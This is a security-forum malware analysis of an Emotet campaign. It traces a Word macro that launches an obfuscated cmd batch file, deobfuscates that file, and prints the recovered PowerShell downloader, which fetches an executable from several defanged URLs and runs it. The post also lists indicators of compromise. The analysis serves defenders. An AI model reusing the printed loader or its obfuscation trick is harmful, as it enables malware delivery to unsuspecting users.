Threat Level: green Handler on Duty: Bojan Zdrnja

SANS ISC: Windows Batch File Deobfuscation SANS ISC InfoSec Forums

Special Webcast: What you need to know about the crypt32.dll vulnerability. Register Now

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Windows Batch File Deobfuscation

Last Thursday, Brad published a diary[1] about a new ongoing campaign delivering the Emotet[2] malware. I found another sample that looked the same. My sample was called 'Order-42167322776.doc’ (SHA256:4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3[3] and looked the same as the one analyzed Brad. The infection chain was almost the same:

Spphishingsing > URL > Word > Batch File > Powershell Script > Emotet

I checked deeper the VBA macro and the batch file (launched via cmd.exe). The Word document contains indeed a macro that is split into two parts:

$ oledump.py Order-42167322776.doc
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:     13510 '1Table'
  5:     42348 'Data'
  6:       451 'Macros/PROJECT'
  7:        89 'Macros/PROJECTwm'
  8: M   55285 'Macros/VBA/YaRCzHvjhlTcHt'
  9:     22067 'Macros/VBA/_VBA_PROJECT'
 10:      1259 'Macros/VBA/__SRP_0'
 11:       106 'Macros/VBA/__SRP_1'
 12:       292 'Macros/VBA/__SRP_2'
 13:       103 'Macros/VBA/__SRP_3'
 14:       592 'Macros/VBA/dir'
 15: M    2444 'Macros/VBA/jovqOBvRlNiVR'
 16:      4096 'WordDocument'

"jovqOBvRlNiVR" contains the AutoOpen() function and is quite simple:

Sub AutoOpen()
On Error Resume Next
   MJjaaH = SrzLBh
   TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
   uSrnF = 6
   wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + \
            hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + \
            YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + \
            wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + \
            JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + \
            hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
   XtHEU = 311
   rGjsB = CBool(5)
Shell@ wMYIzu, 0
   aoLiA = Cos(4874)
End Sub

The module "YaRCzHvjhlTcHt" contains more functions and the real obfuscated code. The code is easy to understand: multiple functions are called and each of them returns a piece of obfuscated code that is concatenated to generate (and launch) an interesting batch file. Here is a dump of the generated code (beautified):

cmd /c  CMd  /v: /c "sEt '{@]=\_\_---/-\_\/_/ //\_-_-\\\--/__ -/_/_\-\--\//_\ \//_-\-_\/_-/-\ -\_\-/-_//\_-_/ 
\/_///_\_---_-\ /\_-_-_/--\_/\\ \-\\//__/-/-_\- \/\/_\/_-\/-__- -_-\/\\_-_///\- //-__--\_-\//_\ --_\_///-\\-\
/_ _/-\\-\/\-_/-__ --_//__--_/\\\\ -\/_\-/_\/-\/-_ _/-/\\\/-__/\-- --\/-//\/\_\-__ --/\___/\//\_\-}\\/-__/-_/
/_\\-}\\//_\\_--_/--_{_-//__-\/\--/\\h_/\/_/\-/\-_--_c_\_/\/-\--/\/-_t//_\--\_//\--\_a\-_\\__--/-///\c/-\_/-_
\_\/_-/-}/\_/\\___-/--\-;_-/_--//\\-/\\_k\_/-_\//_-_-\\/a-\/\/_-/-\-\_/_e-_\_-\-/_/\//-\r-//_\_\_\-_-//\b--\_
//\-_//\__-;//\/\-_-\\/_-_-h-_-\/_-\\/_//_\c-/\-_\///\\_-__t-\-_/-/\/-_\_/_$_\/-_\-\-\/-/__ //_\---\_/-\/__s-
/\/_/-\_-\-__\s/-//\_/\-\_-__-e--\\_--//__//\_c-\-\\///__\--/_o\_\/-\-/\-/_-__r_\---_\\///-\_/P\__-//-_\\//_-
--/_\/--\-__/\_-/t\//___/-/\\\-_-r\\-\-/\-_/-/_/_a/\-/\\\/-/-____t-/\__\_/-\/--\/S-__/-\\__--\/\/;\_\-\//--__
\_/-)-\-_//_\--//\__h/\-_/--_\\\__/-c\-\_-_//-/_\-_/t_//-_/_\-\-\-/\$--/__-/\_/_-/\\ -\/__//-\_-/\\_,\\/-_\_/
--_\_-/z\/-\/_//_-_\-_\U/__-\_\/-/-\-\_C--_--\__////\\\$/-\__--/\_\\/_/(-/-_/_/__\-/\\-e/\\\_/\-_-//__-l_//\\
/_--_/\--_i_\//-/\_\---_/_F\\__/_\-\--_///d-_\\\-/__//-_\-a_-/-\\/-__\-//\o\-/\__-\_-///-\l/\//_--\_\__\--n_-
_\\-\/_\/-/_-w_\\/-\_//_---_/o-//__\/\-\\-_-_D//\/--_--__\/\_.//\/\/-\__--_-\s//-_\_/\_\\_/--i/\/_-_-/\\/__\-
o_-/_/-/\\__\\--$\\-/-_\-/_/_-\/{_-\/\-\//_-\/__y-\_/_/_-/-\-\/_r\//-/_-\_-\\-__t-//_-\/-\-\_\__{-_/\-_\\\-//
__-)_-/\_\/\-//-_\_Y\-//-\-_\/-__\_U/-_/\-/-\__\_-/w/\-__\_-\/\-/-/$\/\_\-///\--___ /\-/-_-__/_\-\\n/__-\-/\\
/\/_-_i//_\-_\_\--\/_/ -___//_/\--\/\-z-_//\-_-//-\\\_U/\--_/-_\\-_/\_C/\_\-\-_/-_/\_/$/--\\__\//_-/\-(_-_//\
\\\_-/-_/h_///\\\-_--/_\_c\-_/_-/\_\-_/\-a/\-\--\//-__/__e-\///-\/_\-\-__r_/--//\\\\/___-o-//-\_/\-_/-_\\f/_/
-\_-//-\__\\;_\_--/\\_/--//_'/-_-\-//\__\/\-e/\-\-_//\\-_/__x/_-__\\\_--\-//e--_-/\-/\_\//__./____\/\\/-\/--'
//-\_\_---/_/_\+-\/--\\\/__-//_q-\\__/-\/_\-_/-L/-/\-_/-_/\\-_\V_-\\_\--///-_\_$/\-__//-\/\\__-+-/-_-_//\-_\\
\/'\\-_-_///\--/__\\_\\__-_//-/-/-'-_-/_-\/\-/\\__+\_/\\//_----_\/p\/\-\/__/-/__-\m_\/-_-/\__-/-\/e/\/_/\-__\
\-/-_t/-\__\-/\-/_\_/://\-\-/_\\_--_/v/--\__/_/_-\\/\n//--\__\__\--\/e-_/-/_/\\/\_-_-$\_-\\_\-///--/_=//\\-\/
_-__/-_-h_/-\/-//_\\_-\_c-/_-/\/\__\-/\-t\\-__//_/\_-\/-$\-_//-\_-/__/\-;-/\-_//\-/\_\-_'/-/--\_\-/_\/__6\-_/
//\/\-_-_-_8\-_-/-_\/\_/-\_9_/-\-__\/-/_\-/'/-_/\-_\_//-\-_ __\\\-/_--//-\/=\__\-\--\/_//-/ -_/\-/\_/-/-\\_q\
-__\_-//\/\-/-L\\--/_//_\-/\_-V-//___/\--\-\\_$\-//_/_\--/\\__;\/_/\-/_\/--\-_)\_-/__-_/-\-//\'-_/\/--_/_-\\/
\@-\-/-_/_/\-_\_/'\_\-\__-/_--///(\-\\/--\/_/-/__t\-\/-/-\//_\__-i__-/-\\\//\_-_/l-//\-/_-\\\/___p_-\/\\-/_/_
-_\-S/-\\\__/--__\/-.\\-\/__\_/_/--/'\-_/-/-//-\\\__m-_\\-\/_/_\-/_/a_//\\\__--/-\_-/_\_-_\/-\/\//_-k\/_/-__/
\\-\-_/u\\/_//\_-/\_---.//\\-\-/_\__/--o\_/-\_/\_-//_-\c\-/_\-_//-\/_-\.\/_\///_\--\-_-e/\-___\-//\\/_-g/--_\
-_-\/\\__/a--\\_\-/__/\_//u-_\/_\\//-_-/\_g-_\/_/_-/-_/\\-n_//--_\\/\/_--\a\_//-\--\___//-l-_\//-_/_/\_-\-t-_
-_/\\_//-/\\-i\__\\/---_\-//_/-/\-_/--\/__\_\//_/\\---\/___-/:-\\-/_-/_-__/\\p__---/-_\//\\\_t-\_//\/_-_-\\/-
t_/\\-__\--_/-/\h\-//\-_\/_/-__\@//--_/\/\\\-_-_X\_/-\_\\-//_-_-v-\/_\-\\//--/__7_--\-\_/_\_//-\Q/-/_-\\--_//
\_\d\/_\/-_--/_/\-_c-_//_/\-\\-/\-_/_/--//-\-\/\__\n/\_-/\_\/-\__-/v\--/--\//_\_\/_.-/_\_-\\__--\//m/\-\/_-_/
--\/_\o--//\\_/__-\-\_c-///\\__--/__\-._\_-//_/---\_\\o_-\-_-/_/-_/\\\c-___-/_/\--\/\/h_-\-\_--/\\_///c\\--\-
__//-_/_\e/_\_\_\----_///t_\/\/\--_--_/\_a___/--\/\_-\\///-_/\\/--/\/-\__//\_--/-\_\/_-/_:-/___/\/_-\\-/-p_/-
-\-_\\/-__/\t\/\/_\_/-_--_\-t_\-/\/\-/_/-_-_h//_\__/--\/\-_-@\-/--\-\_/_/_/\K/-/\-/_-/\_\_-_4\-/_\_/_-\\//-_b
\/\_/_--/-/_\_-R\-//_/-_\\__-/-0\-_\/_/_/---\_\S/_/-\\//___\-\-G/-\\--/\/\_/__-/\___/--/\\/\--_w_/\/--\_-\_-\
_/t__\--_\--/_//\\._/_-\\_-\-\_/-/m\--/\_//\_/\-_-o\/\\\_-//___---c/_/__/-\/\-_-\\._//__--\/-\/_-\t-__\/\--\/
/-/_\i\_-__/\-/\-/\-/p-///_\_-_\-/_\-u//-__/-_--\/\\_/-/-__\\//\-\_-_/_/_//\-\_-_/\--:-__/_\\/\-_-/\/p_\\/--_
-//__\-\t//-\\_\_/-\--_/t\\\/__///---\_-h_\/_/--\/\-__/\@-_\/\__\_\-/-//X\-/\-_-\\/-//__1--_\\/\\/_/_/-_K-_-/
_\_/--/\\_\/\/--\__-\_\/-_/g//\/__\__-/-\-\r//\-_\-___/\-/\o-\--/__-/\\_\/_.///_\-_\_-/-\_\e\\/_--_\-///-_\t-
_--_\/\-\__\//u/_/--/_\-\_/_\\a--_\\_\/_\-//-/b\_//_-/\/\_-_--/__\-\/\-\_//--_/-__--/_\\\//_/\:/_\\/_--/--__/
\p\_-\/-/__\//\-_t__-_-_/-/-\\\//t/_--\-_/_\/_\\-h-_\\_///-_-\_/-@-_\_-//_--/_\\/p__\\-/\-/-\-//_e/\_\_-/-_\-
\//_e\\-_/_-/-_\_-/\B/---_\///\_-\__P/\\_-/__\/-_/\-/\-\/\--_//-_\_/m\\\_-/_--/__-\/o//_\/_\-__-\/\-c/_//_--\
/\_-\_\._/--/_/\_-/_\-\s-__\/_-\/-_\-\/r__-//\\_--\//_\o/\__/\\-//_-_-\t//-_-_\-__\\/-/c/\_-/\/_--/_\\_a\\/_\
-/___-\--/g-_/_-\_-\//_/-\n\/_-\/-/\_-__\/u\\/_/_\---_\_//o/\//-_-\/_\-\__y_/-\_-/\\-_/_\/c/-_/\--_\\/\_-/o_\
-\/_/-_-\-_//./_\--___/\-\/-\w_\-//\/_\_-_-\-w_\-_-/\-/\\-/__w--/_/\/\-_/_\-_/\_\//__--/_/-\-/_//_-/--\\/\_\_
:-//--\_\_/\-_\_p_\\\\_/-_-//-_-t_/_/-/_\\\--\/-t__-/\\_--_\/-/\h/_-//\/_\---_\\'_//_/--_\\-\_-\=_/--\--_\_\/
_//Y-//_\/\_-_\_--\U-_/_\-\-_\///-_w_\/---//_/-_\\\$\\//-\_\/-_/_-_;--///_\\/__\-\-t-/\/-__-\/-_\\/n/\-_/_\__
\//---e\_\--_/__\/\--/i///--__\_\\_\-/l\--_-_\/_-\/_//C//___\/\_----/\b_/\/_\\--\__-//e--\_/_\/-/\_-/_W/--_-/
\\__/\\-_.-_\\-/\_/_-/\/_t_-/_/\_-\/\-_\/e/-\/-_/_\_\\/--N/_\-_\-__\//\-/ -\/\-_-_\__/\-/t\_\-\/-_///_\-_c-/_
--\_\//_\-_\e\\/---\/-__\/__j/_\/_\\_-/_--/\b_-/_/-_\-/\_\-/o-__\-/-\/__/-\/-_/-/--_/_/\\\\-w_-//---_/__\\/\e
__\_\-/-\/-\/_/n\\/-\__\_/_/-/-=//-\_\/\/__--_\s\//-/\-/-__\-__i-_\_-/_/\_\-//\o\/_\-\_-//_\--/$\///\\/_--\__
-_ /\\\/\-_/-___--l/_/_\-_-_\\-//-l\_-\-\/\-_//_/_e_-\_\--\/_//\/_h_--_\\/\//\__/-s/--_\\-/\//-\__r/_\-\/_/--
-\_/_e\\_-\-\/-_///-_w_\__/\\/--\-/-/o\//_\-\\_//--_-p && 
fOR /L  %h IN (5583, -16, 15) dO sET }{~'=!}{~'!!'{@]:~ %h,  1!&&IF  %h   lss 16 CALL  %}{~':*}{~'!=%“

At first sight, it looks more like some ASCII art but it contains indeed some interesting code. I started to deobfuscate it manually and removed the following characters: ‘-‘, ‘_’, ‘/‘, ‘\’. The result string was the following:

}}{hctac};kaerb;hct$ ssecorPtratS;)hct$ ,zUC$(eliFdaolnwoD.sio${yrt{)YUw$ ni zUC$(hcaerof;'exe.'+qLV$+''+pmet:
vne$=hct$;'689' = qLV$;)'@'(tilpS.'maku.oc.egaugnalti:ptth@Xv7Qdcnv.moc.ochceta:ptth@K4bR0SGwt.moc.tipu:ptth@X1
Kgro.etuab:ptth@peeBPmoc.srotcagnuoyco.www:ptth'=YUw$;tneilCbeW.teN tcejbowen=sio$ llehsrewop

Read it from right to left: ‘powershell …'

The interesting code is the following (beautified):

for /L  %h in (5583, -16, 15) do
    set }{~'=!}{~'!!'{@]:~ %h,  1!
    if  %h lss 16 call %}{~':*}{~'!=%

Variable names are also obfuscated:

  • "{@]" contains the obfuscated string
  • "}{~':*}{~’!" contains the result string

The result string is built by reading one character every 16 positions starting from the end (position 5583). This gives us: ‘p’, ‘o’, ‘w’, …
Once we reach the beginning of the string, %h is lower than 16, the string is executed. Here is the deobfuscated code:

powershell $ois=new-object Net.WebClient;$wUY='hxxp://www.ocyoungactors[.]com/PBeep@hxxp://baute[.]org/K1X@ \
hxxp://upit[.]com.tw/GS0Rb4K@hxxp://atechco[.]com.vn/cdQ7vX@hxxp://itlanguage.co[.]uk/am'.Split('@');
$VLq = '986’;
$tch=$env:temp+'\'+$VLq+'.exe’;
foreach($CUz in $wUY) {
    try {
        $ois.DownloadFile($CUz, $tch);
        Start-Process $tch;
        break;
    }
    catch{}
}         

The Powershell code tries to download the second stage (Emotet) from multiple URLs, dump it to disk and executes it. 

Conclusion: Windows batch files can also be used to deliver obfuscated malicious content and can be very complex. The Windows cmd command line tools have plenty of options[4] and have nothing to envy of the UNIX shells like Bash.

Here are the interesting IOC’s:

  • hxxp://cartan[.]eu/files/EN_en/Invoice/Order-42167322776 (Word document dropper)
  • hxxp://www.ocyoungactors[.]com/PBeep
  • hxxp://baute[.]org/K1X
  • hxxp://upit.com[.]tw/GS0Rb4K
  • hxxp://atechco.com[.]vn/cdQ7vX
  • hxxp://itlanguage.co[.]uk/am
  • 986.exe (SHA256:d61687a80d697d4f2fe5d4267a1c8c2b9a763328e462c99b490f4da9dcfa6b7b)
  • edgeref.exe (SHA256:77d098759f3b498b548d482c7214b6b5677e27520abcf50d2445fc8ade05aad4)
  • Order-42167322776.doc (SHA256:4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3)

[1] https://isc.sans.edu/forums/diary/Recent+Emotet+activity/23908/
[2] https://www.us-cert.gov/ncas/alerts/TA18-201A
[3] https://www.virustotal.com/#/file/4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3/detection
[4] https://ss64.com/nt/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Xme

499 Posts
ISC Handler
Quote:Variable names are also obfuscated:

"{@]" contains the obfuscated string
"}{~':*}{~’!" contains the result string


The obfuscation is apparently successful: Xavier can't deobfuscate it!
The variable is }{~'
The construct %<variable>:<substring>=% removes <substring> from the variable and yields the result.
Anonymous
Thank you for reporting this error. You're right.
I tried to understand what happened and found: When I clicked on the string in my editor, the complete string was selected and I copy/pasted it without checking...
Xme

499 Posts
ISC Handler

Sign Up for Free or Log In to start participating in the conversation!